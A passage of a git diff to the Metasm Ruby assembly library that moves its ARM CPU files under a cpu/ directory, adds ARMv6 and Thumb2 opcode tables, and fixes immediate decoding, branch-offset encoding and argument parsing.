0x7010, :cb, :ch + addop16 'cmp_s', 0xe080, :cb, :cu7 + + # encoded over cmp_s b,h + # addop16 'cmp_s', 0x70d7, :cb, :limm + + addop16 'extb_s', 0x780f, :cb, :cc + addop16 'extw_s', 0x7810, :cb, :cc + addop16 'j_s', 0x7800, :@cb, :setip, :stopexec + addop16 'j_s.d', 0x7820, :@cb, :setip, :stopexec, :delay_slot + addop16 'j_s', 0x7ee0, :@blink, :setip, :stopexec + addop16 'j_s.d', 0x7fe0, :@blink, :setip, :stopexec, :delay_slot + addop16 'jeq_s', 0x7ce0, :@blink, :setip + addop16 'jne_s', 0x7de0, :@blink, :setip + addop16 'jl_s', 0x7840, :@cb, :setip, :saveip, :stopexec + addop16 'jl_s.d', 0x7860, :@cb, :setip, :saveip, :stopexec, :delay_slot + addop16 'ld_s', 0x6000, :ca, :@cbcc + addop16 'ldb_s', 0x6008, :ca, :@cbcc + addop16 'ldw_s', 0x6010, :ca, :@cbcc + addop16 'ld_s', 0x8000, :cc, :@cbu7 + addop16 'ldb_s', 0x8800, :cc, :@cbu5 + addop16 'ldw_s', 0x9000, :cc, :@cbu6 + addop16 'ldw_s.x', 0x9800, :cc, :@cbu6 + addop16 'ld_s', 0xc000, :cb, :@cspu7 + addop16 'ldb_s', 0xc020, :cb, :@cspu7 + addop16 'ld_s', 0xc800, :cr0, :@gps11 + addop16 'ldb_s', 0xca00, :cr0, :@gps9 + addop16 'ldw_s', 0xcc00, :cr0, :@gps10 + addop16 'ld_s', 0xd000, :cb, :@pclu10 + + # FIXME: exact same encoding as asl_s instructions + #addop16 'lsl_s', 0x7818, :cb, :cb2, :cc + #addop16 'lsl_s', 0x6810, :cc, :cb, :cu3 + #addop16 'lsl_s', 0xb800, :cb, :cb2, :cu5 + #addop16 'lsl_s', 0x781d, :cb, :cc + + addop16 'lsr_s', 0x7819, :cb, :cb2, :cc + addop16 'lsr_s', 0xb820, :cb, :cb2, :cu5 + addop16 'lsr_s', 0x781d, :cb, :cc + addop16 'mov_s', 0x7008, :cb, :ch + + # FIXME: same encoding as previous instruction + #addop16 'mov_s', 0x70cf, :cb, :limm + + addop16 'mov_s', 0xd800, :cb, :cu8 + addop16 'mov_s', 0x7018, :ch, :cb + + # TODO seems to overlap with previous instruction + addop16 'mov_s', 0x70df, :zero, :cb + addop16 'mul64_s', 0x780c, :zero, :cb, :cc + addop16 'neg_s', 0x7813, :cb, :cc + addop16 'not_s', 0x7812, :cb, :cc + addop16 'nop_s',0x78e0 + addop16 'unimp_s', 0x79e0 + addop16 'or_s', 0x7805, :cb, :cb2, :cc + addop16 'pop_s', 0xc0c1, :cb + addop16 'pop_s', 0xc0d1, :blink + addop16 'push_s', 0xc0e1, :cb + addop16 'push_s', 0xc0f1, :blink + addop16 'sexb_s', 0x780d, :cb, :cc + addop16 'sexw_s', 0x780e, :cb, :cc + addop16 'st_s', 0xc040, :cb, :@cspu7 + addop16 'stb_s', 0xc060, :cb, :@cspu7 + addop16 'st_s', 0xa000, :cc, :@cbu7 + addop16 'stb_s', 0xa800, :cc, :@cbu5 + addop16 'stw_s', 0xb000, :cc, :@cbu6 + addop16 'sub_s', 0x7802, :cb, :cb2, :cc + addop16 'sub_s', 0x6808, :cc, :cb, :cu3 + addop16 'sub_s', 0xb860, :cb, :cb2, :cu5 + addop16 'sub_s', 0xc1a0, :sp, :sp2, :cu5ee + addop16 'sub_s.ne', 0x78c0, :cb, :c2, :cb3 + addop16 'trap_s', 0x781E, :cu6, :setip, :stopexec + addop16 'tst_s', 0x780b, :cb, :cc + addop16 'xor_s', 0x7807, :cb, :cb2, :cc + end + +end +end diff --git a/lib/metasm/metasm/arm.rb b/lib/metasm/metasm/cpu/arm.rb similarity index 50% rename from lib/metasm/metasm/arm.rb rename to lib/metasm/metasm/cpu/arm.rb index 2f1232645f..29f78f8e3f 100644 --- a/lib/metasm/metasm/arm.rb +++ b/lib/metasm/metasm/cpu/arm.rb @@ -3,10 +3,12 @@ # # Licence is LGPL, see LICENCE in the top-level directory +class Metasm::ARM < Metasm::CPU +end require 'metasm/main' -require 'metasm/arm/parse' -require 'metasm/arm/encode' -require 'metasm/arm/decode' -require 'metasm/arm/render' -require 'metasm/arm/debug' +require 'metasm/cpu/arm/parse' +require 'metasm/cpu/arm/encode' +require 'metasm/cpu/arm/decode' +require 'metasm/cpu/arm/render' +require 'metasm/cpu/arm/debug' diff --git a/lib/metasm/metasm/arm/debug.rb b/lib/metasm/metasm/cpu/arm/debug.rb similarity index 92% rename from lib/metasm/metasm/arm/debug.rb rename to lib/metasm/metasm/cpu/arm/debug.rb index acfd579a46..6c115c47f4 100644 --- a/lib/metasm/metasm/arm/debug.rb +++ b/lib/metasm/metasm/cpu/arm/debug.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' module Metasm class ARM @@ -15,7 +15,7 @@ class ARM @dbg_register_flags ||= :flags end - def dbg_register_list + def dbg_register_list @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc] end diff --git a/lib/metasm/metasm/arm/decode.rb b/lib/metasm/metasm/cpu/arm/decode.rb similarity index 92% rename from lib/metasm/metasm/arm/decode.rb rename to lib/metasm/metasm/cpu/arm/decode.rb index 3dbf7a3053..dae5f1093e 100644 --- a/lib/metasm/metasm/arm/decode.rb +++ b/lib/metasm/metasm/cpu/arm/decode.rb @@ -3,7 +3,7 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' require 'metasm/decode' module Metasm @@ -38,7 +38,7 @@ class ARM end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length + return if edata.ptr+4 > edata.length di = DecodedInstruction.new(self) val = edata.decode_imm(:u32, @endianness) di.instance_variable_set('@raw', val) @@ -58,11 +58,11 @@ class ARM op = di.opcode di.instruction.opname = op.name val = di.instance_variable_get('@raw') - + field_val = lambda { |f| r = (val >> @fields_shift[f]) & @fields_mask[f] case f - when :i16; Expression.make_signed(r, 16) + when :i12; Expression.make_signed(r, 12) when :i24; Expression.make_signed(r, 24) when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf) when :stype; [:lsl, :lsr, :asr, :ror][r] @@ -88,7 +88,8 @@ class ARM di.instruction.args << case a when :rd, :rn, :rm; Reg.new field_val[a] when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs]) - when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]*2 + when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti] + when :i12; Expression[field_val[a]] when :i24; Expression[field_val[a] << 2] when :i8_r i = field_val[:i8] @@ -99,14 +100,14 @@ class ARM o = case a when :mem_rn_rm; Reg.new(field_val[:rm]) when :mem_rn_i8_12; field_val[:i8_12] - when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]*2) + when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]) when :mem_rn_i12; field_val[:i12] end Memref.new(b, o, field_val[:u], op.props[:baseincr]) when :reglist di.instruction.args.last.updated = true if op.props[:baseincr] msk = field_val[a] - l = RegList.new((0..15).map { |i| Reg.new(i) if (msk & (1 << i)) > 0 }.compact) + l = RegList.new((0..15).map { |n| Reg.new(n) if (msk & (1 << n)) > 0 }.compact) l.usermoderegs = true if op.props[:usermoderegs] l else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" @@ -118,7 +119,7 @@ class ARM end def decode_instr_interpret(di, addr) - if di.opcode.args.include? :i24 + if di.opcode.args[-1] == :i24 di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8] end di @@ -127,7 +128,7 @@ class ARM def backtrace_binding @backtrace_binding ||= init_backtrace_binding end - + def init_backtrace_binding @backtrace_binding ||= {} end @@ -140,9 +141,9 @@ class ARM else arg end } - + if binding = backtrace_binding[di.opcode.name] - bd = binding[di, *a] + binding[di, *a] else puts "unhandled instruction to backtrace: #{di}" if $VERBOSE # assume nothing except the 1st arg is modified @@ -154,7 +155,7 @@ class ARM end end - + def get_xrefs_x(dasm, di) if di.opcode.props[:setip] [di.instruction.args.last] diff --git a/lib/metasm/metasm/arm/encode.rb b/lib/metasm/metasm/cpu/arm/encode.rb similarity index 68% rename from lib/metasm/metasm/arm/encode.rb rename to lib/metasm/metasm/cpu/arm/encode.rb index 05f1393285..bf641d1088 100644 --- a/lib/metasm/metasm/arm/encode.rb +++ b/lib/metasm/metasm/cpu/arm/encode.rb @@ -4,15 +4,15 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' require 'metasm/encode' module Metasm class ARM - def encode_instr_op(section, instr, op) + def encode_instr_op(program, instr, op) base = op.bin set_field = lambda { |f, v| - v = v.reduce if v.kind_of? Expression + v = v.reduce if v.kind_of?(Expression) case f when :i8_12 base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]] @@ -42,7 +42,7 @@ class ARM when :rm_is set_field[:rm, arg.i] set_field[:stype, arg.stype] - set_field[:shifti, arg.shift/2] + set_field[:shifti, arg.shift] when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12 set_field[:rn, arg.base.i] case sym @@ -61,17 +61,32 @@ class ARM when :reglist set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }] when :i8_r - # XXX doublecheck this b = arg.reduce & 0xffffffff - r = (0..15).find { next true if b < 0x10 ; b = (b >> 2) | ((b & 3) << 30) } + r = (0..15).find { + next true if b < 0x100 + b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) + false + } + raise EncodeError, "Invalid constant" if not r set_field[:i8, b] set_field[:rotate, r] - when :i16, :i24 + when :i12, :i24 val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] end } - Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) + if op.args[-1] == :i24 + # convert label name for branch to relative offset + label = program.new_label('l_'+op.name) + target = val + target = target.rexpr if target.kind_of?(Expression) and target.op == :+ and not target.lexpr + val = Expression[[target, :-, [label, :+, 8]], :>>, 2] + + EncodedData.new('', :export => { label => 0 }) << + Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) + else + Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) + end end end end diff --git a/lib/metasm/metasm/arm/main.rb b/lib/metasm/metasm/cpu/arm/main.rb similarity index 98% rename from lib/metasm/metasm/arm/main.rb rename to lib/metasm/metasm/cpu/arm/main.rb index ab9a36a3a5..d474e6702c 100644 --- a/lib/metasm/metasm/arm/main.rb +++ b/lib/metasm/metasm/cpu/arm/main.rb @@ -68,8 +68,5 @@ class ARM < CPU @opcode_list end end - -class ARM_THUMB < ARM -end end diff --git a/lib/metasm/metasm/cpu/arm/opcodes.rb b/lib/metasm/metasm/cpu/arm/opcodes.rb new file mode 100644 index 0000000000..c535077a7b --- /dev/null +++ b/lib/metasm/metasm/cpu/arm/opcodes.rb @@ -0,0 +1,323 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/arm/main' + +module Metasm +class ARM + private + + # ARM MODE + + def addop(name, bin, *args) + args << :cond if not args.delete :uncond + + suppl = nil + o = Opcode.new name, bin + args.each { |a| + # Should Be One fields + if a == :sbo16 ; o.bin |= 0b1111 << 16 ; next ; end + if a == :sbo12 ; o.bin |= 0b1111 << 12 ; next ; end + if a == :sbo8 ; o.bin |= 0b1111 << 8 ; next ; end + if a == :sbo0 ; o.bin |= 0b1111 << 0 ; next ; end + + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + o.props.update a if a.kind_of?(Hash) + # special args -> multiple fields + suppl ||= { :i8_r => [:i8, :rotate], :rm_is => [:rm, :stype, :shifti], + :rm_rs => [:rm, :stype, :rs], :mem_rn_rm => [:rn, :rm, :rsx, :u], + :mem_rn_i8_12 => [:rn, :i8_12, :u], + :mem_rn_rms => [:rn, :rm, :stype, :shifti, :i], + :mem_rn_i12 => [:rn, :i12, :u] + }[a] + } + + args.concat suppl if suppl + + args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } + + @opcode_list << o + end + + def addop_data_s(name, op, a1, a2, *h) + addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h + addop name, op, a1, a2, :rm_is, *h + addop name, op | (1 << 4), a1, a2, :rm_rs, *h + end + def addop_data(name, op, a1, a2) + addop_data_s name, op << 21, a1, a2 + addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length + end + + def addop_load_puw(name, op, *a) + addop name, op, {:baseincr => :post}, :rd, :u, *a + addop name, op | (1 << 24), :rd, :u, *a + addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a + end + def addop_load_lsh_o(name, op) + addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} + addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} + end + def addop_load_lsh + op = 9 << 4 + addop_load_lsh_o 'strh', op | (1 << 5) + addop_load_lsh_o 'ldrd', op | (1 << 6) + addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5) + addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) + addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) + addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) + end + + def addop_load_puwt(name, op, *a) + addop_load_puw name, op, *a + addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a + end + def addop_load_o(name, op, *a) + addop_load_puwt name, op, :mem_rn_i12, *a + addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a + end + def addop_load(name, op) + addop_load_o name, op + addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length + end + + def addop_ldm_go(name, op, *a) + addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a + end + def addop_ldm_w(name, op, *a) + addop_ldm_go name, op, *a # base reg untouched + addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated + end + def addop_ldm_s(name, op) + addop_ldm_w name, op # transfer regs + addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs + end + def addop_ldm_p(name, op) + addop_ldm_s name+'a', op # target memory included + addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr + end + def addop_ldm_u(name, op) + addop_ldm_p name+'d', op # transfer made downward + addop_ldm_p name+'i', op | (1 << 23) # transfer made upward + end + def addop_ldm(name, op) + addop_ldm_u name, op + end + + # ARMv6 instruction set, aka arm7/arm9 + def init_arm_v6 + @opcode_list = [] + + [:baseincr, :cond, :cond_name_off, :usermoderegs, :tothumb, :tojazelle + ].each { |p| @valid_props[p] = true } + + [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, :rm_rs, :rm_is, + :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 + ].each { |p| @valid_args[p] = true } + + @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, + :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, + :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, + :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, + :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, + :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf + + @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, + :crn => 16, :crd => 12, :crm => 0, :cpn => 8, + :rnx => 16, :rdx => 12, :rsx => 8, + :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, + :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, + :u => 23, :mask => 16, :sbo => 12, :cond => 28 + + addop_data 'and', 0, :rd, :rn + addop_data 'eor', 1, :rd, :rn + addop_data 'xor', 1, :rd, :rn + addop_data 'sub', 2, :rd, :rn + addop_data 'rsb', 3, :rd, :rn + addop_data 'add', 4, :rd, :rn + addop_data 'adc', 5, :rd, :rn + addop_data 'sbc', 6, :rd, :rn + addop_data 'rsc', 7, :rd, :rn + addop_data_s 'tst', (8 << 21) | (1 << 20), :rdx, :rn + addop_data_s 'teq', (9 << 21) | (1 << 20), :rdx, :rn + addop_data_s 'cmp', (10 << 21) | (1 << 20), :rdx, :rn + addop_data_s 'cmn', (11 << 21) | (1 << 20), :rdx, :rn + addop_data 'orr', 12, :rd, :rn + addop_data 'or', 12, :rd, :rn + addop_data 'mov', 13, :rd, :rnx + addop_data 'bic', 14, :rd, :rn + addop_data 'mvn', 15, :rd, :rnx + + addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 + addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip + addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef + addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :uncond, :i24 + addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm, :sbo16, :sbo12, :sbo8 + addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm, :sbo16, :sbo12, :sbo8 + addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle, :sbo16, :sbo12, :sbo8 + + addop_load 'str', (1 << 26) + addop_load 'ldr', (1 << 26) | (1 << 20) + addop_load_lsh + addop_ldm 'stm', (1 << 27) + addop_ldm 'ldm', (1 << 27) | (1 << 20) + # TODO aliases (http://www.davespace.co.uk/arm/introduction-to-arm/stack.html) + # fd = full descending stmfd/ldmfd = stmdb/ldmia + # ed = empty descending stmed/ldmed = stmda/ldmib + # fa = full ascending stmfa/ldmfa = stmib/ldmda + # ea = empty ascending stmea/ldmea = stmia/ldmdb + + # TODO mrs, [qus]add/sub* + addop 'clz', (0b00010110 << 20) | (0b0001 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'ldrex', (0b00011001 << 20) | (0b1001 << 4), :rd, :rn, :sbo8, :sbo0 + addop 'strex', (0b00011000 << 20) | (0b1001 << 4), :rd, :rm, :rn, :sbo8 + addop 'rev', (0b01101011 << 20) | (0b0011 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'rev16', (0b01101011 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'revsh', (0b01101111 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 + addop 'sel', (0b01101000 << 20) | (0b1011 << 4), :rd, :rn, :rm, :sbo8 + + end + + + + # THUMB2 MODE + + def addop_t(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + o.props.update a if a.kind_of?(Hash) + } + + args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } + + @opcode_list_t << o + end + + def init_arm_thumb2 + @opcode_list_t = [] + @valid_props_t = {} + @valid_args_t = {} + @fields_mask_t = {} + @fields_shift_t = {} + + [:i16, :i16_3_8, :i16_rd].each { |p| @valid_props_t[p] = true } + [:i5, :rm, :rn, :rd].each { |p| @valid_args_t[p] = true } + @fields_mask_t.update :i5 => 0x1f, :i3 => 7, :i51 => 0x5f, + :rm => 7, :rn => 7, :rd => 7, :rdn => 7, :rdn8 => 7 + @fields_shift_t.update :i5 => 6, :i3 => 6, :i51 => 3, + :rm => 6, :rn => 3, :rd => 0, :rdn => 0, :rdn8 => 8 + + addop_t 'mov', 0b000_00 << 11, :rd, :rm + addop_t 'lsl', 0b000_00 << 11, :rd, :rm, :i5 + addop_t 'lsr', 0b000_01 << 11, :rd, :rm, :i5 + addop_t 'asr', 0b000_10 << 11, :rd, :rm, :i5 + + addop_t 'add', 0b000_1100 << 9, :rd, :rn, :rm + addop_t 'add', 0b000_1110 << 9, :rd, :rn, :i3 + addop_t 'sub', 0b000_1101 << 9, :rd, :rn, :rm + addop_t 'sub', 0b000_1111 << 9, :rd, :rn, :i3 + + addop_t 'mov', 0b001_00 << 10, :rdn8, :i8 + addop_t 'cmp', 0b001_01 << 10, :rdn8, :i8 + addop_t 'add', 0b001_10 << 10, :rdn8, :i8 + addop_t 'sub', 0b001_11 << 10, :rdn8, :i8 + + addop_t 'and', (0b010000 << 10) | ( 0 << 6), :rdn, :rm + addop_t 'eor', (0b010000 << 10) | ( 1 << 6), :rdn, :rm # xor + addop_t 'lsl', (0b010000 << 10) | ( 2 << 6), :rdn, :rm + addop_t 'lsr', (0b010000 << 10) | ( 3 << 6), :rdn, :rm + addop_t 'asr', (0b010000 << 10) | ( 4 << 6), :rdn, :rm + addop_t 'adc', (0b010000 << 10) | ( 5 << 6), :rdn, :rm + addop_t 'sbc', (0b010000 << 10) | ( 6 << 6), :rdn, :rm + addop_t 'ror', (0b010000 << 10) | ( 7 << 6), :rdn, :rm + addop_t 'tst', (0b010000 << 10) | ( 8 << 6), :rdn, :rm + addop_t 'rsb', (0b010000 << 10) | ( 9 << 6), :rdn, :rm + addop_t 'cmp', (0b010000 << 10) | (10 << 6), :rdn, :rm + addop_t 'cmn', (0b010000 << 10) | (11 << 6), :rdn, :rm + addop_t 'orr', (0b010000 << 10) | (12 << 6), :rdn, :rm # or + addop_t 'mul', (0b010000 << 10) | (13 << 6), :rdn, :rm + addop_t 'bic', (0b010000 << 10) | (14 << 6), :rdn, :rm + addop_t 'mvn', (0b010000 << 10) | (15 << 6), :rdn, :rm + + addop_t 'add', 0b010001_00 << 8, :rdn, :rm, :dn + addop_t 'cmp', 0b010001_01 << 8, :rdn, :rm, :dn + addop_t 'mov', 0b010001_10 << 8, :rdn, :rm, :dn + + addop_t 'bx', 0b010001_110 << 7, :rm + addop_t 'blx', 0b010001_111 << 7, :rm + + addop_t 'ldr', 0b01001 << 11, :rd, :pc_i8 + addop_t 'str', 0b0101_000 << 9, :rd, :rn, :rm + addop_t 'strh', 0b0101_001 << 9, :rd, :rn, :rm + addop_t 'strb', 0b0101_010 << 9, :rd, :rn, :rm + addop_t 'ldrsb', 0b0101_011 << 9, :rd, :rn, :rm + addop_t 'ldr', 0b0101_100 << 9, :rd, :rn, :rm + addop_t 'ldrh', 0b0101_101 << 9, :rd, :rn, :rm + addop_t 'ldrb', 0b0101_110 << 9, :rd, :rn, :rm + addop_t 'ldrsh', 0b0101_111 << 9, :rd, :rn, :rm + + addop_t 'str', 0b01100 << 11, :rd, :rn, :i5 + addop_t 'ldr', 0b01101 << 11, :rd, :rn, :i5 + addop_t 'strb', 0b01110 << 11, :rd, :rn, :i5 + addop_t 'ldrb', 0b01111 << 11, :rd, :rn, :i5 + addop_t 'strh', 0b10000 << 11, :rd, :rn, :i5 + addop_t 'ldrh', 0b10001 << 11, :rd, :rn, :i5 + addop_t 'str', 0b10010 << 11, :rd, :sp_i8 + addop_t 'ldr', 0b10011 << 11, :rd, :sp_i8 + addop_t 'adr', 0b10100 << 11, :rd, :pc, :i8 + addop_t 'add', 0b10101 << 11, :rd, :sp, :i8 + + # 0b1011 misc + addop_t 'add', 0b1011_0000_0 << 7, :sp, :i7 + addop_t 'sub', 0b1011_0000_1 << 7, :sp, :i7 + addop_t 'sxth', 0b1011_0010_00 << 6, :rd, :rn + addop_t 'sxtb', 0b1011_0010_01 << 6, :rd, :rn + addop_t 'uxth', 0b1011_0010_10 << 6, :rd, :rn + addop_t 'uxtb', 0b1011_0010_11 << 6, :rd, :rn + addop_t 'cbz', 0b1011_0001 << 8, :rd, :i51 + addop_t 'cbnz', 0b1011_1001 << 8, :rd, :i51 + addop_t 'push', 0b1011_0100 << 8, :rlist + addop_t 'push', 0b1011_0101 << 8, :rlist + addop_t 'pop', 0b1011_1100 << 8, :rlist + addop_t 'pop', 0b1011_1101 << 8, :rlist + #addop_t 'unpredictable', 0b1011_0110_0100_0000, :i4 + addop_t 'setendle', 0b1011_0110_0101_0000 + addop_t 'setendbe', 0b1011_0110_0101_1000 + addop_t 'cps', 0b1011_0110_0110_0000 + #addop_t 'unpredictable', 0b1011_0110_0110_1000, :msk_0001_0111 + addop_t 'rev', 0b1011_1010_00 << 6, :rd, :rn + addop_t 'rev16', 0b1011_1010_01 << 6, :rd, :rn + addop_t 'revsh', 0b1011_1010_11 << 6, :rd, :rn + addop_t 'bkpt', 0b1011_1110 << 8, :i8 + addop_t 'it', 0b1011_1111 << 8, :itcond, :itmsk + addop_t 'nop', 0b1011_1111_0000_0000 + addop_t 'yield', 0b1011_1111_0000_0001 + addop_t 'wfe', 0b1011_1111_0000_0010 + addop_t 'wfi', 0b1011_1111_0000_0011 + addop_t 'sev', 0b1011_1111_0000_0100 + addop_t 'nop', 0b1011_1111_0000_0000, :i4 + + + addop_t 'stmia', 0b11000 << 11, :rn, :rlist # stmea + addop_t 'ldmia', 0b11001 << 11, :rn, :rlist # ldmfd + addop_t 'undef', 0b1101_1110 << 8, :i8 + addop_t 'svc', 0b1101_1111 << 8, :i8 + addop_t 'b', 0b1101 << 12, :cond, :i8 + addop_t 'b', 0b11100 << 11, :i11 + + # thumb-32 + end + + def init_arm_v6_thumb2 + init_arm_v6 + init_arm_thumb2 + end + alias init_latest init_arm_v6_thumb2 +end +end diff --git a/lib/metasm/metasm/arm/parse.rb b/lib/metasm/metasm/cpu/arm/parse.rb similarity index 74% rename from lib/metasm/metasm/arm/parse.rb rename to lib/metasm/metasm/cpu/arm/parse.rb index a7bf5ab941..2a1bdfe44c 100644 --- a/lib/metasm/metasm/arm/parse.rb +++ b/lib/metasm/metasm/cpu/arm/parse.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' require 'metasm/parse' module Metasm @@ -26,24 +26,32 @@ class ARM def parse_arg_valid?(op, sym, arg) case sym - when :rd, :rs, :rn, :rm; arg.kind_of? Reg and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) - when :rm_rs; arg.kind_of? Reg and arg.shift.kind_of? Reg - when :rm_is; arg.kind_of? Reg and arg.shift.kind_of? Integer - when :i16, :i24, :i8_12, :i8_r; arg.kind_of? Expression + when :rd, :rs, :rn, :rm; arg.kind_of?(Reg) and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) + when :rm_rs; arg.kind_of?(Reg) and arg.shift.kind_of?(Reg) + when :rm_is; arg.kind_of?(Reg) and arg.shift.kind_of?(Integer) + when :i12, :i24, :i8_12; arg.kind_of?(Expression) + when :i8_r + if arg.kind_of?(Expression) + b = arg.reduce + !b.kind_of?(Integer) or (0..15).find { + b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) + b < 0x100 } + end when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 os = case sym when :mem_rn_rm; :rm when :mem_rn_i8_12; :i8_12 when :mem_rn_rms; :rm_rs - when :mem_rn_i12; :i16 + when :mem_rn_i12; :i12 end - arg.kind_of? Memref and parse_arg_valid?(op, os, arg.offset) - when :reglist; arg.kind_of? RegList + arg.kind_of?(Memref) and parse_arg_valid?(op, os, arg.offset) + when :reglist; arg.kind_of?(RegList) end # TODO check flags on reglist, check int values end def parse_argument(lexer) + raise lexer, "unexpected EOS" if not lexer.nexttok if Reg.s_to_i[lexer.nexttok.raw] arg = Reg.new Reg.s_to_i[lexer.readtok.raw] lexer.skip_space @@ -62,22 +70,24 @@ class ARM when '!' lexer.readtok arg.updated = true - end + end if lexer.nexttok elsif lexer.nexttok.raw == '{' lexer.readtok arg = RegList.new loop do - raise "unterminated reglist" if lexer.eos? lexer.skip_space + raise "unterminated reglist" if lexer.eos? if Reg.s_to_i[lexer.nexttok.raw] arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw]) lexer.skip_space + raise "unterminated reglist" if lexer.eos? end case lexer.nexttok.raw when ','; lexer.readtok when '-' lexer.readtok lexer.skip_space + raise "unterminated reglist" if lexer.eos? if not r = Reg.s_to_i[lexer.nexttok.raw] raise lexer, "reglist parse error: invalid range" end @@ -95,20 +105,22 @@ class ARM end elsif lexer.nexttok.raw == '[' lexer.readtok + raise "unexpected EOS" if lexer.eos? if not base = Reg.s_to_i[lexer.nexttok.raw] raise lexer, 'invalid mem base (reg expected)' end base = Reg.new Reg.s_to_i[lexer.readtok.raw] + raise "unexpected EOS" if lexer.eos? if lexer.nexttok.raw == ']' lexer.readtok - closed = true + #closed = true end - if lexer.nexttok.raw != ',' + if !lexer.nexttok or lexer.nexttok.raw != ',' raise lexer, 'mem off expected' end lexer.readtok off = parse_argument(lexer) - if not off.kind_of? Expression and not off.kind_of? Reg + if not off.kind_of?(Expression) and not off.kind_of?(Reg) raise lexer, 'invalid mem off (reg/imm expected)' end case lexer.nexttok and lexer.nexttok.raw diff --git a/lib/metasm/metasm/arm/render.rb b/lib/metasm/metasm/cpu/arm/render.rb similarity index 89% rename from lib/metasm/metasm/arm/render.rb rename to lib/metasm/metasm/cpu/arm/render.rb index 473071d35f..a39e808752 100644 --- a/lib/metasm/metasm/arm/render.rb +++ b/lib/metasm/metasm/cpu/arm/render.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory require 'metasm/render' -require 